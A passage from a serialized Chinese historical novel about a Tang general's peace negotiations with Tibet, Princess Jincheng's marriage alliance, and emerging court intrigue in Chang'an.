“我只是不明白你在想什么。”见他开门见山,解琬也坦诚相待:“你现在的驻军之所离逻些已经不甚遥远,只要一路向西,平灭吐蕃的功绩就在眼前,你为什么不想要?” 洛北没有立刻回答他,只示意解琬继续与他并肩而行。两人并肩骑行在山间,时不时有春风呼啸而过,给他们吹来一些碎裂的叶片和花瓣。 半晌之后,洛北忽而顿住步子,示意解琬看向西侧。 解琬顺着他的目光望去,刹那间竟情不自静地屏住了呼吸。 天光自冰峰之巅倾泻而下,千万年积雪在晴空下折射出深蓝色的寒芒。整座雪峰宛如天神锻铸的巨剑,有着劈开混沌直贯苍穹的力量。 山腰处漂浮的云絮被狂风撕扯成流银般的丝缕。冰川自峰顶垂落,冰川层层叠叠如玄甲鳞片,在阴影中泛着幽蓝的冷光。 “自此向西,这样的雪山不止一座。”洛北温声道,“即使我们像吐蕃人那样从山间的孔道绕行,也要多花许多时间。后勤粮草,军心民意……每一样都耗不起,我不敢赌。” 解琬闭上眼,好叫自己的双眼不要被雪光刺伤:“我还从来没有想过,‘不敢赌’这三个字会从你洛北洛将军的口中说出来。” 当年受默啜追杀,千里逃亡时,他敢赌着全镇的性命去突厥人面前唱空城计。吐蕃谈判时,他敢跳出来对抗武三思,对抗朝廷。就连在于阗做镇守使,都敢千里奔袭,趁着雪夜直扑突骑施牙帐 解琬也曾经将他自己与洛北的位置易地而处,也会为自己百战百胜的战绩陶醉,觉得自己无所不能。 “若是解常侍同我一样,每天睁眼考虑的是如何让麾下这数万将士吃饱穿暖,不让他们肆意劫掠沿途部族,你也会认为此战不可持续太久。” 洛北接过飘到他肩头的一片碎叶: “草长莺飞,已经到了牧民们春牧的季节。” 解琬没想到他还会主动提起此事,忍不住提高了声音质问道:“这就是你把西域的各部族人迁徙到高原上来的理由?!连奏疏都不肯给朝廷写一封,你想干什么?!” 洛北望着远方的潺潺河水,没有直接回答他的问题:“解常侍,除我之外,朝廷还有多少将领能够率军来到那曲河畔?” “要夸耀功绩,回长安去找陛下夸耀。”解琬冷哼了一声:“我不吃这套。” “我军军威浩大,但对吐蕃各部来说有如明光,时时可见,却几不可近。”洛北道:“如今我停兵在此,他们才知道害怕。他们怕我们兵临逻些城下,把他们的赞普和贵胄们一起抓到长安。但我军不可能永远停驻在此。解常侍从长安来,应当听了不少朝中大臣对于青海军费的抱怨吧?” “我知道你征召牧民为你征战,就必须分给他们应有的草场。”解琬的眉头微微皱起:“可是把西域各部迁徙到此,你不怕他们共同谋反吗!” “那要等到草原上出现一位远胜于我的大汗。”洛北神情平静:“但我相信,在那之前,这些部族就会有自己新的名称,新的认同——” “唐人。” 他说此话时,眼眸被阳光与积雪反射的雪光照得璀璨如金,英俊的脸上自然而然地显出一种傲气。 解琬忽然想起多年前苏颋写的那篇碎叶城的游记,那篇游记文采斐然,但其中大多词句他都已经忘记,只记得其中的一个场景,夕阳西下之际,汉家商贾与突骑施酋长共饮蒲桃酒,粟特舞姬的银铃与龟兹琵琶共鸣: “天底下也就是你敢这样说话。”解琬长长地叹息一声:“但长安怎么办,陛下怎么办?他可是勒令我一定把你带回长安去。” “陛下还没放下封禅的念头?”洛北有些讶异。 解琬露出一个苦笑,那是历经数朝,无数皇帝更迭,无数腥风血雨的老臣才会有的苦笑:“你真的相信陛下会许你永镇碛西?” 洛北一时静默,坦白而言,他对李重俊的了解并不深。早年间在东宫共度的经历已被纷纷扰扰的战争和朝局消磨得七七八八,后来他一而再,再而三地扶持李重俊上位,不过是因为按照宗法,由他登基为帝最为合适,不必多花时间说服群臣。 但此刻解琬的问题又把他带到了另外一个不得不面对的可能前:哪个锐意进取,励精图治的年轻君主,能容得下如他这样一个横扫天下,战功赫赫的将军? 洛北问:“解常侍是想劝我不要回去?” 解琬摇了摇头:“你在朝堂历练已久,本来不需要我的建议。我只是想额外叮嘱你一句,自太平大长公主回朝之后,朝政越发晦暗不明,其中又有无数双眼睛盯着你洛将军的帅旗,你要小心。” 洛北轻轻一笑:“我本来就不在乎什么帅旗!要是有的选,我也乐意在草原上做个郎中……” “你有这个觉悟,反倒是件好事。你以为陛下为何急着要封禅泰山?不是要彰武功,是要收兵权!”他转头去,不再与洛北对视,个中含义不言而喻——洛北竟真的拿皇帝的承诺当承诺,敢于上书拒绝封禅之事! 洛北看着眼前这位故人,忽而感到没来由的一阵疲惫,他听到自己的声音: “那都是后话,解常侍,明日我们与吐蕃使团相会。碎叶博士王翰昨日也来了前线,我举荐他做你的副手,可乎?” 260-270 第261章 “或者我们可以到逻些再谈一轮。” 有洛北举荐, 解琬果真未曾多问,真的要带着王翰上谈判场。可王翰自己却心里没底。就在使团出发之前,王翰还穿着一身板正的学士青袍, 像个没头苍蝇似的在洛北的大帐里转来转去。 洛北本对着地图处理几处草场的划分, 见他转得实在迷茫,只得开口:“王翰兄,何以至此啊?” “洛将军可别取笑了。叫我舞文弄墨,教导学生,容易。这两国相谈的谈判场, 我可是第一次上。”王翰几乎是求救似的看着他,“洛将军是谈判的高手,就没个什么锦囊妙计给我么?” 阙特勤也在帐内, 同洛北一道把目光放在地图上,闻言只笑:“来,我把我的佩刀给你, 遇到谈不下去的时候, 便把这刀拍在桌上,叫他们想清楚后果再说话!” “又不是人人手中都有数万大军,数十万部众,这话我说出来怎么顶用?”王翰踌躇道, “可要是我丢了大唐的颜面,只怕我抹脖子自刎也换不回来!” 洛北和阙特勤交换一个眼神, 也笑道:“我看阿阙将军这话说得不无道理,如今是吐蕃求我们停战,又不是我们求他们停战。想着如何能够达成更好条件的应该是吐蕃人。至于我们嘛, 只要四个字。” “哪四个字?”王翰瞪大双眼。 “将计就计。”洛北笑道。 “你这是说了等于没说!”王翰笑骂他一句,还没来得及多问, 就被解琬派来的使节叫走了。 等他走远,洛北和阙特勤才笑起来,笑声传到王翰耳中,搞得他也忍不住笑起来,直到吐蕃使团的骑队近在眼前,才收了声。 饶是如此,等到吐蕃大论乞力徐带着吐蕃使团入得帐中,王翰袖中的手臂还是忍不住轻轻颤抖起来。 双方互相道礼,各自坐下。洛北抽了个出身吐谷浑家的亲卫来给他们当译语人,这次也由他开场。那青年人旁征博引,洋洋洒洒地说了半篇,才把话头交给乞力徐。 乞力徐的声音比之前更沉,音节里似乎有高原的风雪:“吐蕃愿接受大唐的条件,以苏毗以东尽数赠大唐。但希望文书上自此平等相待,不以蕃臣相属。” 王翰的指甲掐进掌心,吐蕃人这是什么意思?称降,却不称臣?天底下哪有这样的道理? 好不容易等到乞力徐说完,他才开口:“大论可知《春秋》记载的践土之盟?当年晋文公召周天子狩于河阳,孔子书曰天王狩于河阳。今日吐蕃既愿献地,何以不敢称臣?君臣倒错,只怕我们没有办法和长安交待!” 他故意像提点不注意听讲的学生那样提高尾音,果然引得吐蕃使团的众人眉头紧皱。 乞力徐的手在袖中摩挲了数下手指上的绿松石戒指,似乎在下一个很大的决心。片刻之后,他以更迟缓的汉话开口: “如若大唐愿以两国相待,吐蕃愿将苏毗故地七百里也献给天可汗” 王翰敏锐地捕捉到了他话中的玄机,苏毗之地本要永为两国闲壤,如今却成了吐蕃人自己的筹码:“《春秋》有言,诸侯失地则名灭。” 他猛然起身,腰间的带钩撞在了案几上:“当年颉利可汗献定襄,太宗皇帝犹令鸿胪寺载入《平戎策》。不知大论今日所献之地,是要入《藩属表》还是《职贡图》?” 帐内空气骤然凝结。解琬微微颔首,他注意到乞力徐的喉结在刺绣的领口下滚动: 吐蕃人最怕大唐非要以突厥颉利的旧事相待,让赞普前往长安为质,让贵胄们也抛下部族和子弟前往长安——那意味着吐蕃彻底臣服大唐脚下,连自己的国号都不再保留。 忽而有个炭火噼啪的声响打破了帐中的沉默。乞力徐缓缓开口:“唐使何必拘泥虚名?我们愿意再让出那曲河以北的土地,但赞普与皇帝当以兄弟相称。” 话音未落,解琬的茶盏重重磕在案上:“昔年文成公主下嫁松赞干布,两家自此约为婚姻,赞普是大唐皇帝的外甥,何来兄弟之说?” “你们不要欺人太甚!”吐蕃的一个使节终于忍不住,站起身驳斥道:“不要觉得打赢了一次仗就可以为所欲为,我们让步已经够多了,你们还想如何?” “看来大论需要时间再想想。”解琬丝毫没有给吐蕃人留面子的意思,当即起身,“王翰,我们走。” 第一日的谈判便这样无功而返。王翰带着一脑门的不解回到洛北身边:“他们究竟是什么意思?愿意投降,却不愿意称臣?” 洛北道:“乞力徐久被我军俘虏,这是他回归逻些城之后,第一次代表吐蕃谈判。如果他不为吐蕃争些面子回来,他要如何向赞普交代?” “那我们也不能为了吐蕃大论向吐蕃赞普的交代,就把自己的利益让了出去吧?”王翰一时有些不解他的意思,“他要以领土换两国君臣的名分,这对大唐可是大逆不道之举。” “不必纠缠吐蕃人的提法。”洛北道,“我们只要咬死了两国名分不宜变更,乞力徐和吐蕃赞普都不能说什么。至于我们的条件,我有个想法” “什么想法?”王翰好奇地望向他。 “当年文成公主下降吐蕃,为吐蕃带来一部《十善法》,松赞干布以此为圭臬,想用佛法推动吐蕃各部整合一统。”洛北温声解释:“只是此事非常难行,直到松赞干布与文成公主相继去世,吐蕃各部依旧有信奉苯教的。如今吐蕃再度与我大唐和好,我们倒不如帮助吐蕃人,把这原来要推行的新政推行下去。” 王翰更是一头雾水了:“这,洛公子怎么越说越远了?” “我想以遵行松赞干布遗愿为由,派出官员常驻吐蕃王庭,为吐蕃赞普‘垂问政事’。” 阙特勤听到这里,突然放声大笑:“妙啊!就像突厥当年派吐屯监察西域诸国,不出二十年,吐蕃贵族自会唯长安马首是瞻。” 王翰猛然反应过来,之前被阙特勤杀掉的石国父子,他们的封号便是“吐屯”。以吐蕃内政的混乱程度,若是大唐官员能够参与吐蕃政事,便等于在吐蕃朝堂上系了根丝线——这根丝线此刻看似轻柔,紧要时却能勒出血来。 王翰想到此处,一刻也不愿耽误,即刻要回帐中去研究吐蕃历史。洛北就挥了挥手,放他出帐去了。 等王翰的身影远去,阙特勤才凑到洛北身边:“你说的法子倒是很好,只是有一点不对。监国吐屯有监税之责,又有部族随行,才能有足够的力量摄取所在地方的国王宝座。可是” “这便是我为什么要征召碛西各部愿意前往此地的子弟。”洛北站起身与他对视:“也是为什么我要苏毗永为闲壤,不得驻军。” “榷场、部族、还有苏毗的贸易、青海的兵马”阙特勤缓缓点头:“这些牌确实足以让一位辅政大臣立足。只是这个人选不好选啊。他既要游走于吐蕃各部之间,又要为大唐争取利益,还不能迷失本心。” “确实难选。”说到这里,洛北忍不住轻轻地叹了口气:“我到现在还没个定论,只有回到青海再议了。” 三日后大唐与吐蕃再度相会,这一次谈判的地点是在大唐的营帐之内。王训和骨力裴罗等一帮亲卫皆请命陪同,洛北见他们面露期盼,也不愿意扫了他们的意趣,便让他们去旁听。 “伯克对这次谈判没兴趣?”王训好奇地问他。 洛北摇了摇头:“我只是对已经下完的棋局没兴趣。” 这一日谈判依旧激烈,两方互不相让,争论到了黄昏之时。骨力裴罗听得昏昏欲睡,连吐蕃使者接二连三地拍桌子,也没能让他清醒过来。倒是王训注意到什么,拉扯了一下他的衣袍。 “什么事情”他勉力睁大双眼。 “将军来了。”王训指了指帐外。 夕阳的辉光落在大帐之上,投出一个修长挺拔的身影。洛北掀帘入帐,带来一阵如血的光晕。他一身紫色锦袍,腰间系了根玉带,正是大唐郡王的服色。他的目光扫过吐蕃使团时,原本按刀而立的几个蕃将竟不自觉地后退半步。 乞力徐的绿松石戒指在案几上叩出清脆声响:"洛将军来得正好,贵国使者——" “我知道。”洛北抬手示意他不必多言,他将茶盏的杯盖放在桌案上,发出轻轻的一声脆响:“我有个建议,苏毗故地七百里永为闲壤,茶马互市重开,换赞普俯首称臣。” 他忽然抬眸,金棕色的眼眸中映着跳动的烛火:“或者我们可以到逻些再谈一轮。” 乞力徐的指节在绿松石戒面上泛出青白,案几下的皮袍发出细微的簌响:“洛将军的话说得太大了,逻些城到这里,中间还横着念青唐古拉神山的雪线” “大小勃律也与疏勒相隔茫茫葱岭。”洛北忽然打断他,语气闲适,“吐蕃人可以前往,大唐也可以。” 吐蕃使团中响起此起彼伏的抽气声。乞力徐的瞳孔骤然收缩。他当然知道这话意味着什么:唐军的铁骑早已摸清翻越念青唐古拉山的秘道,所谓天险不过是个笑话。他额角细汗如露:“这些条件,我都得禀告赞普” “无妨。”洛北从袖中抽出一卷洒金纸,“还有一件事,我这里有三份盟书。甲本要吐蕃岁贡牦牛三百头、青稞五千石;乙本添上茶马五市细则;丙本——”他忽然轻笑,金棕色眸子扫过吐蕃众人僵硬的面孔,“烦请赞普遣子入国子监进学。” 帐角传来佩刀坠地的闷响。某个年轻吐蕃副使踉跄着捡了起来。 王翰开口:“《周礼》有云,诸侯世子八岁入小学,十五入太学。我大唐国子监有算学、律学、书学三馆,除却贵国王子之外,还有不少藩国王子,小王子在那里,定能成为一位合适的储君。” 吐蕃使团彻底陷入混乱。有人用蕃语低声咒骂,有人以袖掩面,更有老者颤巍巍起身欲言。乞力徐突然重重拍案:“都静下来!洛将军,我们吐蕃人一定会记住今日。” 暮色渐沉时,吐蕃使团带着一肚子火气离开了。解琬送走他们,在山间找到洛北的时候,他正看着天际发呆,那里浮云飘舞,像是几匹战马在奔跑:“洛将军把条件开得如此苛刻,吐蕃人会接受吗?” 第262章 “难道将军孤注一掷,雪夜奔袭突骑施牙帐时,也考虑了容不容易的问题吗?” “他们不得不接受。”洛北这样回答。 半月之后, 吐蕃赞普赤德祖赞派出近臣前来告知乞力徐,要他对唐人的一切要求都照章接受。 赞普本人的条件唯有一条,希望唐廷遵守女皇时代定下的婚约, 把金城公主嫁入吐蕃, 使两国永结两姓之好,天下和睦。 此事早在女皇时代就已经议定,中宗李显在时也重盟此约。包括解琬在内,大部分大唐官员都对此毫无意见。 只有洛北对此颇为不满:赤德祖赞分明是想效仿他的祖母赤玛雷的故智,靠大唐的支持稳住吐蕃境内的政局。 但他久驻高原, 一而再、再而三击溃吐蕃人的主力,不是为了给赤德祖赞团结吐蕃的机会的。 “只有一个分裂的吐蕃才符合大唐的利益。”洛北对王翰直言不讳,“分而治之, 他们就绝无合兵攻向长安的可能性。” 王翰苦笑:“可你已经把吐蕃人逼到了墙角,要是这个条件都不肯答应,吐蕃人真的撕破脸和我们打仗怎么办?” “那就让他们来和我打仗。”洛北站起身, 来到大帐中挂着的地图前。熟悉他的人都知道, 那是这位将领谋划战事之前的动作:“只要他能说服自己的将军、自己的士兵,我就在这里等着他。” “你不可能长留在这里。”解琬捏了捏眉心,“朝廷对你我的耐心都已经到了极限,此事不能这样拖下去。” 洛北静默不言, 帐内一时僵在那里。谁也不愿意率先低头,王翰看看这个, 看看那个,也只得闭口不言。 “乌特。”阙特勤掀帘欲入,却在见到帐中阵仗时停住了步子, 他站在帐前,高大的身影遮住半边春日阳光, “有位从青海来的客人要见你。” 解琬冷哼一声,拂袖不言,显然觉得这是洛北有意给他个下马威。 洛北微怔,他知道阙特勤若非事出有因,不至于闯进这样的场合里。他抬眼看向阙特勤,开口问道:“青海?曦光那里出了事情?” “这是虞国夫人褚沅派人护送来的客人。”阙特勤道。 “褚夫人?那请客人在外稍候。我马上”洛北起身,想要出帐,阙特勤身后的人已经挤过帐门,走了进来。 她头戴长长的风帽,看不出面容,声音温和里带着一点不可质疑的气势:“可是我听说,各位将军和相公正在讨论我的事情。” 满帐人这下都反应了过来。解琬第一个起身向她道礼,不等她叫起,便开口发问:“金城公主金枝玉叶,怎么独自跑来了这苦寒之地?!” “我没有独自跑来。”金城公主坐到他们让出的主座山,摘下长长的风帽,露出一张俏丽的面容,帐外透进来的阳光在她发间碎成点点金箔——那是长安贵女才喜欢的高髻,斜簪着鸾凤衔珠的金步摇。 “我此来青海,是有皇兄御准的。”她温言道,“也是皇兄传诏,要求褚姑姑不要告诉洛将军。将军可不要责怪她呀。” 洛北道:“微臣不敢。但问公主此来青海,所为何事?” “因为我在长安城里等了许久,实在是等不下去了。我想看看我日后生活的地方是什么样子。”金城公主温声道。 王翰听她声音一派天真烂漫,忍不住心生怜惜:“公主这样说,是叫我们无地自容了。公主不必担忧,我等必当为了公主据理力争,否决和亲之事。” “否决和亲之事?为什么?”金城公主问。 帐中几人被这话问倒,谁也不知道该怎么回答。只有阙特勤熟稔地走到洛北身后——好像他真的是洛北的亲卫队长似的: “像公主这样的女孩子,就像娇贵的鲜花一样,只有在长安城才能养得出来。如果把你丢到高原上,很容易就会枯萎凋零。” 金城公主不认识他,只得草草地以将军相称:“将军为什么会这样想?我来这里的路上,一路也看到了不少花呀。还有好几个大湖,湖边生长着花海,可美丽了。” 洛北轻轻叹息了一声:“公主,吐蕃赞普虽然年纪与您相仿,但苏毗一战之后,既为我军石脂水所灼,又几近心智迷乱,绝非良配。公主不必把自己的青春葬送在这样的人身上。” “洛将军的意思是,这位吐蕃赞普可能命不久矣了?”金城公主发问。 洛北被她一问,只得轻轻颔首。 金城公主笑了:“那对我来说,更是个好消息了。” 她站起身,走到大帐之中:“几位都知道我的身世吧?我本是邠王李守礼的一个女儿,正是因为要和亲吐蕃,才被先帝收养。自小到大,皇宫中的所有人都告诉我,要我为大唐和亲吐蕃。贵女们游春的时候,我在学吐蕃话。公主们打马游街的时候,我在学吐蕃风俗等到她们一个个地出了嫁,我还在宫中等着和亲吐蕃的旨意。我的人生的前半生皆被此事占据,现在诸位要告诉我,不想让我嫁到吐蕃去了?” 她扫视众人:“这对我并不公平吧。” “公主古来和亲”王翰想要劝她什么,触及到她的目光时又败退下去。 金城公主微微一笑:“我要说的就是这些。诸位,我先行离帐了。” 几人道礼送别公主,复又重新坐回帐内。解琬轻轻叩了叩桌面:“洛将军,你的意思是” “公主自己已经把话说到了这份上,我无话可说。”洛北摇了摇头,“请解常侍将你我的意见附在奏疏之中,交由圣上裁决吧。” 他口中说“无话可说”,却还是要把奏疏送到皇帝那里做最后一搏。解琬知道他性子,也只得笑笑,依言上奏。 皇帝御准的诏书下达之时,洛北在湖边找到了正在玩水的金城公主:“公主前来此地的路上,应当见了苏毗女王赵曳夫吧。” “将军怎么知道?”金城公主好奇地扬起脸问他。 洛北避而不答,他知道金城公主为何会因为吐蕃赞普的病欣喜了:“女皇、赤玛雷、赵曳夫还有如今的吐蕃太后赞玛脱脱登,皆是手握大权之人。但她们走到宝座之上所花的血汗心力,远胜一位男性君主。这条路,并不容易。” 金城公主笑了:“难道将军孤注一掷,雪夜奔袭突骑施牙帐时,也考虑了容不容易的问题吗?” 她站起身,任由裙摆同袖边一道沾上水痕:“将军还不明白吗?我不是有意挑选了这条艰难的道路,只是挑选了一条自己认为正确的道路。” 她似乎说完了自己要说的话,转身便走,走到一半时,又回头看向洛北:“将军肯信任褚夫人能为你安定后方,为什么不肯信我能安定吐蕃呢?” 洛北怔愣片刻,终是释然一笑,躬身道礼:“微臣谢过公主大义。” 这日之后又数日,隆熙三年的三月二十,大唐与吐蕃于那曲河畔再度盟誓,两家以苏毗为闲壤,开放茶马互市,吐蕃赞普遣子入朝为质,大唐派遣官员入逻些城垂问政事,并以金城公主下降吐蕃。 洛北是带着吐蕃人的请婚使一并踏上回归长安之路的。 金城公主坐在马车里,望着一眼望不到头的迎亲队伍,眼中带着一点好奇:“这么多好东西,名义上都是给我的吗?” “是。”王翰骑马走在马车边,为公主解疑答惑:“这些都是吐蕃赠与大唐,赠与公主的。” “那我不能留几样在这里吗?千里迢迢地带来带去,实在是太远了。再给几样给赵曳夫吧?王学士知道她吗?她可有意思了” 这一日是阙特勤奉命担任护卫,他打马前后数次在他们身边穿过,最后终于忍不住笑着和洛北说起此事: “也就是王翰这个当久了教书先生的有这个耐性,换了我们谁去都要不耐烦的。” “王翰本就是风流才子,又是怜花惜玉之人,让他陪伴公主,算是两方都能顺意。”洛北也笑道,“阙特勤,来得正好,我有件事情要与你相商。” 阙特勤挑眉问他:“什么事情值得你这样神神秘秘的?还想和谁打一仗?” 洛北摇了摇头:“不是打仗,但说不定比打仗要危险一些。阙特勤,你要随我回长安去吗?” 听到此处,阙特勤不由得叹了口气。连洛北说起长安城时的语气都如此不确定,说明那里或许是比于都斤山下的突厥牙帐更为危机四伏的地方: “以什么身份?突厥左贤王、你的副手、还是你的亲卫队长?” “都行,随你喜欢。”洛北答道,他轻轻叹息一声,转头看着阙特勤:“当然,要是不愿意,不去也挺好。” “难得看你这样游移不定。”阙特勤问,“长安到底是个什么样的龙潭虎穴?” “你误会了,那里对我来说,并不危险。”洛北笑了:“我的父亲是禁军首领……长安城里除了陛下,怕只有我睡觉睡得最安稳了。” “那你还那么不想回去?” 阙特勤的尾音还在空中,一只金雕自后队的军人们头顶飞过,去高高的蓝天之上追逐一只幼鸟。洛北看着它翱翔天际,声音感慨: “过惯了自由自在的日子,不愿意受人拘束罢了。” 他看着金雕飞远,声音几不可闻: “还有,我想不明白……陛下到底想要干什么?” 第263章 “本来应当与刘妃、窦妃同死在嘉豫殿中的人,是我啊……” 半月之后, 队伍前行到了青海的唐军大营。朝廷已经下达了班师的诏命,除却一部分将士响应朝廷征召留戍青海,其余士兵开始陆续分批返家。往日里人声鼎沸的青海大营倒显得有点空空荡荡。 “这几天光欢送会就开了十来场。”哥舒亶半抱着手臂与众人说笑:“大家伙喝过了酒, 欢欢喜喜地带着朝廷的嘉奖、洛将军的赏赐还有缴获的财物回了家, 可惜王学士不在,否则定能留下几篇传世佳作。” 王翰拍手大笑:“哥舒将军这一说,确实可惜。不过褚夫人不是在场,有她捉笔,想来也有几篇佳作吧。” “褚姑姑忙着安置留戍将士的事情, 哪里顾得上这些。”慕容曦光摇了摇头:“她都快恨不得一个人掰成两半用,一半带着胥吏们去清查牧场,察查安置点, 一半专忙朝廷的公文。” 他这话一出,莫说王翰面露惭色,便连洛北也忍不住摇头叹息:“是我的错, 千斤重的担子竟压在了她一个人肩上。” “我还以为自己前来青海, 就是为了给将军分忧的呢。” 褚沅笑意盈盈地自不远处走来,来青海的这些时日,她反倒是穿官服的时候多,只斜簪了一支彤管, 以示她是女史出身:“见过将军,诸位, 我已在大帐中备下欢宴,请诸位随我移步吧。” 她迈步便走,众人还未把话叙完, 一时都站住不动。她走了几步发现没人跟随,才又回过头来: “诸位将军, 就算你们想着叙旧,解琬解常侍和吐蕃的请婚使到来,我等也理应招待啊。” 她这样一说,众人才反应过来——没办法,叫刚刚打了胜仗的将军们去考虑曾与他们百般作对的战败者的想法,实在是有点强人所难了。 褚沅做事细致如发,这顿宴席布置得无比妥帖,给吐蕃贵宾的烤羊肋排用藏药红景天腌制,呈给突厥将领的则是裹着莳萝香料的整只羔羊。最妙的是给汉将的炙鹿肉旁配着青竹筒,筒中是一捧捧新蒸的米。 “这是碎叶去年秋收的米,将军们征战辛苦,该尝尝家乡风味。” 在场的一众将领齐声为贺。众人就在这样欢庆的氛围中饮了第一杯。 大宴到这日下午,吐蕃使者率先倒在了桌上。洛北按着他的规矩叫停宴会,又遣人把吐蕃使者送回大帐,才与褚沅一道漫步在青海湖畔——昔日征战的烽烟似乎已经远去,夕阳的余晖照着湖边的一片花海。 “沅儿辛苦了。”洛北率先开口,“若不是你在后方坐镇,我……” 褚沅轻轻一笑:“阿兄又来了,你我之间,哪里还需要这个谢字。” “不是为了这一场仗。”洛北道,“我自回归碛西,便四处征战,若不是有你镇国家,抚百姓,给馈饷,不绝粮道,只怕……还有,我留意到今日的碗碟之上,各族纹样皆有不同。能关注到这一点,你在碛西,是下过苦功的。” 褚沅侧过头来,定定地盯着他的眼眸:“有时候我也会怀疑阿兄是否真的无所不知,无所不晓。不错,借着这几年执掌碛西庶务的机会,我把碛西各地都跑了个七七八八……” “太危险了。”洛北又轻轻叹息一声。 褚沅笑道:“这是我自己的选择,阿兄何必责怪自己。再说了,我不是好端端地在这里站着么?” 洛北偏过头,看了她一眼:“是么?” 褚沅一时不解其意,顿住步子问他:“阿兄想说什么?” “早上你朝我们走过来之前,应当撕碎了一张字条。”洛北伸手从她官服的窄袖里侧捡出半张纸屑,“出了什么事?” 褚沅的指尖在袖间微缩:“真是什么都瞒不过阿兄的眼睛。陛下派遣太平大长公主巡视东都,亦命上官太妃随行。” 洛北略微皱眉:“难道陛下已经康复了?”只要相王李旦还在朝中一日,除非皇帝李重俊已经完全恢复了健康,可以重掌朝政,否则绝不应该让太平公主离开长安。 “阿兄,我不知道……”褚沅惭愧地低下头,声音很低:“我没有拿到确切的消息。” 洛北见她这番模样,立刻恍然大悟——褚沅并不是在为朝堂变故担忧,而是在为自己的情报网担忧:“此地离长安相隔数千里,消息滞后也是常有的事情,你不必过于担心了。” “不,阿兄,这不是消息滞后,而是那张‘网’出了问题。”褚沅坚定地摇了摇头,“它已经不能像之前那样运转了。只是我不知道,这其中到底出了什么问题。” 洛北沉吟片刻:“若要你做最坏打算,最坏的可能性是什么?” “有人发现了‘网’的存在,想要把我们一举歼灭。但这是不可能的,朝中的大部分人连听都没听过此事,就算听过的,也以为它已经随着女皇去世而消弭无形,除非……”褚沅似乎想起什么,用力扯了扯洛北衣袖,“阿兄,是相王!是相王!” “相王李旦?他知道这张’网’的存在?”洛北问。 “他或许不知道这是个组织,但他一定恨毒了身处其中的人。”褚沅苦笑了一下,“阿兄,莫忘了,第一个替女皇行走民间,替她掌握这张情报网的女史,就是诬告相王谋反,害得窦妃、刘妃皆死无葬身之地的韦团儿啊。” 洛北终于明白了她的言外之意:“有这样的血海深仇,只要他抓到一点蛛丝马迹,就会穷追不舍。沅儿,当务之急,你是应当让这张网上的所有人都沉寂下来。” 褚沅点了点头:“我已经下了这样的命令。阿兄放心,我与他们其中的大部分人都是单线联络,只要我们停止活动,李旦是抓不住我们的。” 她说到这里,目光只盯着暮色中青海湖泛出的涟漪,像是入了迷。电光火石之间,洛北像是抓住了什么:“沅儿,窦妃与刘妃被害之时,你应当只有几岁吧?为什么你对此事如此念念不忘……” 就像用钝刀子割自己的血肉,她到底希望用这惨痛的回忆提醒自己什么呢? “因为。”她苦笑了一声,彻底坐再地上,眼眸却望着不远处的青海湖,“本来应当与刘妃、窦妃同死在嘉豫殿中的人,是我啊……” 洛北瞪大双眼,几乎不能相信自己听到了什么。他近乎本能反应地要去安抚自己妹妹的情绪,却在指尖碰到她的后背时停了一瞬。 褚沅正在轻轻发抖。 “当时我与我同寝居的姐姐,皆是在嘉豫殿当值的宫女。她要在三天后请假出宫,回家看望生病的母亲,便同我换了班次。” “就是那日,她听说是窦妃和刘妃进宫,还很高兴。她说皇嗣李旦的家人们素来出手大方,说不定能得到赏钱。可是下午她没能回来。” “后来我才知道,窦妃、刘妃被人告发以巫蛊之术诅咒女皇,被当场赐死……为了让消息不流传出去,那一殿的宫人也没能活下来。” 她低下头,不再强迫自己盯着湖面: “她们的尸首都被塞在大瓮里,沉进了湖中,只要水波流转,就没有人能发现。” 洛北的手在半空凝滞了一瞬,旋即如折翅的雁猛然收拢。他单膝跪地,将蜷缩成团的妹妹整个揽进怀中,臂膀硌得她发髻微散,却仍固执地收得更紧。 “不是你的错……”他轻声安慰道。 “不是我的错,那是谁的错?韦团儿吗?女皇吗?”褚沅长长地叹了口气,伸手要推开他,“可是阿兄,我之后做了韦团儿的位置,也干过和她构陷相王差不多的事情——我等的职责所在,便是替女皇除去她的眼中钉、肉中刺。” “但那些都过去了。”洛北固执地不肯放开她,“女皇之后又有两代君主,你也不是当年的褚女史了……如今你面对的是青海湖,不是宫中的太液池,肩上担着的不是女皇的命令,而是大唐的半壁江山……” 他说到这里,终于忍不住摇了摇头:“我不会安慰人,沅儿,你要哭就哭吧。哭出来会好受得多。不会有人看见的。” 褚沅果真如他所言,沉默无声地在他肩头流了一会儿眼泪。等情绪平静下来,她一边用手帕擦干泪花,一边不好意思地对洛北致歉: “怎么说起这些事情了……我还以为我自己都不记得了。” “我很高兴你能对我说这些。”洛北摆了摆手,怕她为难,主动岔开了话题,“说回相王李旦,他在禁军中可没什么支持者。就算他真的想要当皇帝……他总得有些更行之有效的办法。” 褚沅想了想:“比如说,像他之前做的那样,趁着陛下病重,隔绝内外?” 洛北正想说他不会故技重施,忽而又像想起什么似的,抬起了透:“李旦不必亲自上阵,他还有一张牌可以打……” “阿兄是说,李重福?” 第264章 他觉得自己正在一个巨大的阴谋之中,但他在迷雾中寻寻觅觅,始终没有发现织网的人到底是谁。 李重福是谁? 若叫这座军营中的任何一个人听到这番话, 只怕这会是他们问出的第一句话。 但洛北记得此人,中宗皇帝庶长子,今上李重俊同父异母的兄长——唐隆之变刚刚结束, 大明宫丹墀前的血尚未结冰时, 多少双眼睛曾盯着这伦序之差。 直至那一年的上巳节宫宴,新帝当廷赐下谯王封号,李重福伏地三叩九拜,欣然领命。这股暗潮才被压了下去。 这其中自然也有他草蛇灰线,伏笔千里的功劳——天知道, 他为了在不引人注意的情况下把李重福从洛阳带到长安花了多少功夫。 洛北颔首:“我记得陛下确曾向相王提议,让他与李重福同在宗人府任职,好照拂李重福, 可李重福一在禁军中毫无根基,二在百官中无人支持,若是他要发动政变, 会怎么做?” 褚沅摇了摇头:“阿兄, 又不是每场政变都会有万全准备,若他已被野心和欲望冲昏了头脑,非要冒险,又该如何?” 洛北不置可否, 他觉得自己正在一个巨大的阴谋之中,但他在迷雾中寻寻觅觅, 始终没有发现织网的人到底是谁。 似乎是为他的怀疑添了几分筹码,洛北率军从青海东返长安的第十五日,队伍快要到达凉州的乌鞘岭, 两个黎族小伙子奉命从长安前来报信,说皇帝要把右羽林军大将军阿史那献派回金山祭祖, 并安抚草原诸部。 “老爷说,他已经不是西突厥大汗,率部祭山,于礼不和。陛下却说,这只是祭祖,不是拜山,不要他率部前行。” 王翰沉吟片刻:“洛将军东归长安,陛下把阿史那大将军派去安抚草原,此事怎么听怎么奇怪……” 明明是做父亲的久在长安,做儿子的在草原享有盛名,陛下这个任命,倒把这关系颠倒了过来。 “那你可知道谁会在阿史那大将军离朝拜山时执掌禁军?”哥舒亶问。 